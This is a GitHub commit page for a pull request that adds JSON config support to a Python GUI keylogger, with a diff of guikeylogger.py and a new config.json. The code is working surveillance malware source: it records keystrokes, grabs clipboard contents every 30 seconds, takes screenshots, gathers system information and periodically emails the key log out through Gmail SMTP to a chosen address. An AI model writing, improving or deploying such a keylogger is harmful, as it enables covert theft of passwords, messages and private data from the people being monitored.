Skip to content

Commit a4db448

Browse files
Merge pull request #28 from Satvik-Singh192/feature/add-config-file-support
[Feature]: Add config file support for dynamic parameters
2 parents c061875 + a71ed86 commit a4db448

File tree

2 files changed

+168
-22
lines changed

2 files changed

+168
-22
lines changed

app/guikeylogger.py

Lines changed: 135 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -23,17 +23,104 @@
2323
import glob
2424
from datetime import datetime
2525

26+
import json
27+
import time
28+
29+
_DEFAULT_CONFIG = {
30+
"paths": {
31+
"data_dir": "app/data",
32+
"keys_file": "app/data/key_log.txt",
33+
"system_file": "app/data/systeminfo.txt",
34+
"clipboard_file": "app/data/clipboard.txt",
35+
"screenshot_dir": "app/data/screenshots"
36+
}
37+
,
38+
"intervals_seconds": {
39+
"screenshot_interval": 900,
40+
"email_interval": 900,
41+
"clipboard_interval": 30,
42+
"loop_sleep": 1
43+
},
44+
"screenshots": {"keep_latest": 10},
45+
"email": {
46+
"smtp_host": "smtp.gmail.com",
47+
"smtp_port": 587,
48+
"from_env": True,
49+
"from_address_env_var": "email",
50+
"from_password_env_var": "pass"
51+
},
52+
"gui": {
53+
"icon": "cracking.ico",
54+
"image": "cracking.png",
55+
"window_title": "Key Logger 5155"
56+
},
57+
"safety": {"require_confirm": True}
58+
}
59+
60+
def load_config():
61+
"""Load ../config.json relative to this file, merge with defaults."""
62+
base_dir = os.path.dirname(os.path.abspath(__file__))
63+
config_path = os.path.join(base_dir, "..", "config.json")
64+
cfg = _DEFAULT_CONFIG.copy()
65+
66+
try:
67+
with open(config_path, "r", encoding="utf-8") as f:
68+
user_cfg = json.load(f)
69+
except FileNotFoundError:
70+
logging.warning(f"config.json not found at {config_path}, using defaults")
71+
return cfg
72+
except json.JSONDecodeError as e:
73+
logging.error(f"Invalid config.json: {e}")
74+
return cfg
75+
76+
for top_key, top_val in user_cfg.items():
77+
if top_key in cfg and isinstance(cfg[top_key], dict) and isinstance(top_val, dict):
78+
cfg[top_key].update(top_val)
79+
else:
80+
cfg[top_key] = top_val
81+
return cfg
82+
83+
# Load config once
84+
config = load_config()
85+
86+
2687
# Load environment variables
2788
load_dotenv()
2889

2990
# Configure logging
30-
logging.basicConfig(filename="data/key_log.txt", level=logging.DEBUG, format='%(asctime)s, %(message)s')
91+
logging.basicConfig(
92+
filename=os.path.join(os.path.dirname(__file__), "data", "key_log.txt"),
93+
level=logging.DEBUG,
94+
format="%(asctime)s, %(message)s"
95+
)
3196

3297
# File paths for various log files
33-
keys_information = "data/key_log.txt"
34-
system_information = "data/systeminfo.txt"
35-
clipboard_information = "data/clipboard.txt"
36-
SCREENSHOT_DIR="data/screenshots"
98+
# Config-based paths and intervals
99+
paths = config["paths"]
100+
keys_information = paths["keys_file"]
101+
system_information = paths["system_file"]
102+
clipboard_information = paths["clipboard_file"]
103+
SCREENSHOT_DIR = paths["screenshot_dir"]
104+
105+
intervals = config["intervals_seconds"]
106+
SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 900))
107+
EMAIL_INTERVAL = int(intervals.get("email_interval", 900))
108+
CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30))
109+
LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0))
110+
111+
KEEP_SCREENSHOTS = int(config.get("screenshots", {}).get("keep_latest", 10))
112+
113+
email_cfg = config["email"]
114+
SMTP_HOST = email_cfg.get("smtp_host", "smtp.gmail.com")
115+
SMTP_PORT = int(email_cfg.get("smtp_port", 587))
116+
117+
# Load email credentials (prefer env)
118+
if email_cfg.get("from_env", True):
119+
email_address = os.getenv(email_cfg.get("from_address_env_var", "email"))
120+
password = os.getenv(email_cfg.get("from_password_env_var", "pass"))
121+
else:
122+
email_address = email_cfg.get("from_address")
123+
password = email_cfg.get("from_password")
37124

38125
# Retrieve email and password from environment variables
39126
email_address = os.getenv('email')
@@ -174,33 +261,54 @@ def write_file(keys):
174261

175262
# Function to start keylogger
176263
def start_logger():
177-
global listener, toAddr, btnStr
178-
count = 900
264+
global listener, toAddr, btnStr, stopFlag
179265
listener.start()
180266
btnStr.set("Stop Keylogger")
267+
181268
screenshot()
269+
last_screenshot = time.time()
270+
last_clipboard = time.time()
271+
last_email = time.time()
272+
182273
while True:
183-
print(count)
184274
if stopFlag:
185275
break
186-
if count % 30 == 0:
187-
copy_clipboard()
188-
if count == 0:
189-
screenshot()
190-
computer_information()
191-
if email_address and password and toAddr != "":
276+
277+
now = time.time()
278+
279+
# Clipboard capture
280+
if now - last_clipboard >= CLIPBOARD_INTERVAL:
281+
try:
282+
copy_clipboard()
283+
except Exception as e:
284+
logging.error(f"Clipboard error: {e}")
285+
last_clipboard = now
286+
287+
# Screenshot capture
288+
if now - last_screenshot >= SCREENSHOT_INTERVAL:
289+
try:
290+
screenshot()
291+
except Exception as e:
292+
logging.error(f"Screenshot error: {e}")
293+
last_screenshot = now
294+
295+
# Email send
296+
if now - last_email >= EMAIL_INTERVAL:
297+
if email_address and password and toAddr:
192298
try:
193299
send_email(keys_information, keys_information, toAddr)
194-
except:
195-
pass
196-
count = 900
197-
sleep(1)
198-
count -= 1
300+
except Exception as e:
301+
logging.error(f"Email send failed: {e}")
302+
last_email = now
303+
304+
time.sleep(LOOP_SLEEP)
305+
199306
listener.stop()
200307
btnStr.set("Start Keylogger")
201308
listener = Listener(on_press=on_press)
202309

203310

311+
204312
# Function to handle button click event
205313
def on_button_click():
206314
global state, toAddr, listener, stopFlag, receiver_entry, btnStr
@@ -243,10 +351,15 @@ def on_button_click():
243351
btnStr.set("Start Keylogger")
244352

245353
# Load and set icon on Title bar
246-
root.after(201, lambda: root.iconbitmap('cracking.ico'))
354+
base_dir = os.path.dirname(os.path.abspath(__file__))
355+
icon_path = os.path.join(base_dir, "data", "cracking.ico")
356+
img_path = os.path.join(os.path.dirname(__file__), "cracking.png")
357+
image = Image.open(img_path)
358+
359+
icon_path = os.path.join(os.path.dirname(__file__), "cracking.ico")
360+
root.after(201, lambda: root.iconbitmap(icon_path))
361+
image = Image.open(img_path)
247362

248-
# Display an image
249-
image = Image.open('cracking.png')
250363
resize_image = image.resize((300, 300))
251364
img = CTkImage(light_image=resize_image, size=(240, 240))
252365
icon = CTkLabel(main_frame, image=img, text="")

config.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"paths": {
3+
"data_dir": "data",
4+
"keys_file": "data/key_log.txt",
5+
"system_file": "data/systeminfo.txt",
6+
"clipboard_file": "data/clipboard.txt",
7+
"screenshot_dir": "data/screenshots"
8+
},
9+
"intervals_seconds": {
10+
"screenshot_interval": 900,
11+
"email_interval": 900,
12+
"clipboard_interval": 30,
13+
"loop_sleep": 1
14+
},
15+
"screenshots": {
16+
"keep_latest": 10
17+
},
18+
"email": {
19+
"smtp_host": "smtp.gmail.com",
20+
"smtp_port": 587,
21+
"from_env": true,
22+
"from_address_env_var": "email",
23+
"from_password_env_var": "pass"
24+
},
25+
"gui": {
26+
"icon": "cracking.ico",
27+
"image": "cracking.png",
28+
"window_title": "Key Logger 5155"
29+
},
30+
"safety": {
31+
"require_confirm": true
32+
}
33+
}

0 commit comments

Comments
 (0)